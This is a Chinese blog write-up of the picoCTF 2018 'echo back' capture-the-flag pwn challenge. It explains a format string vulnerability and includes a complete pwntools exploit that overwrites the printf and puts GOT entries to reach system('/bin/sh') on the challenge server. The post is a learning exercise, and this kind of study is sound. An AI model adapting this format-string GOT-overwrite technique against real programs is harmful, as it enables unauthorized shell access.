[BUUCTF] picoctf_2018_echo back

小白最近感觉遇到了瓶颈期,做题老是做不出来,听大佬说把做过的题整理整理有利于提升,就决定写点东西发出来,既能方便复习,也利于和大佬们交流。

参考了大佬的博客[BUUCTF-pwn]——picoctf_2018_echo back_Y-peak的博客-CSDN博客

拿到题目先checksec一下,发现是32位的题,开了NX,Partial RELRO和Canary。

 打开ida,在vuln函数中有很明显的格式化字符串漏洞,同时程序还调用了system函数。

由于程序只是开启了Partial RELRO ,got表可写,若是将printf函数对应的got表项的值修改为system函数的地址,并再让程序执行vuln,就可以轻而易举拿到shell。但是vuln函数并没有循环执行,这就需要我们在利用格式化字符串漏洞修改printf函数的got表的同时,将接下来会执行的函数的got表内容修改为vuln函数的地址。这样程序会再次执行printf(buf)(实际上已经是system(buf)),从而拿到shell。

这里我们选择修改puts函数的got表为vuln函数地址。

易确定buf最低位四个字节是printf的第七个参数

编写payload时,为防止传输的字符数量太多而超时,选择两个两个字节读入。

exp如下:

from pwn import *

context.log_level='debug'
r=remote('node4.buuoj.cn',29396)
#r=process('/home/wjc/Desktop/PicoCTF_2018_echo_back')
e=ELF('/home/wjc/Desktop/PicoCTF_2018_echo_back')

printf_got=0x804A010
puts_got=0x0804A01C
system_plt=0x8048460
vuln_plt=0x80485AB
print('system_plt:',hex(system_plt))

r.recvuntil('input your message:')
pay1='%'+str(0x804)+'c'+'%18$hn'+'%19$hn'
pay1+='%'+str(0x8460-0x804)+'c'+'%20$hn'
pay1+='%'+str(0x85AB-0x8460)+'c'+'%21$hn'
pay1=pay1.ljust(44,'a')
pay1+=p32(printf_got+2)+p32(puts_got+2)+p32(printf_got)+p32(puts_got)
#print(len(pay1))
r.sendline(pay1)
r.recvuntil('input your message:')
r.sendline('/bin/sh\x00')

r.interactive()

最终也是成功拿到flag:

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值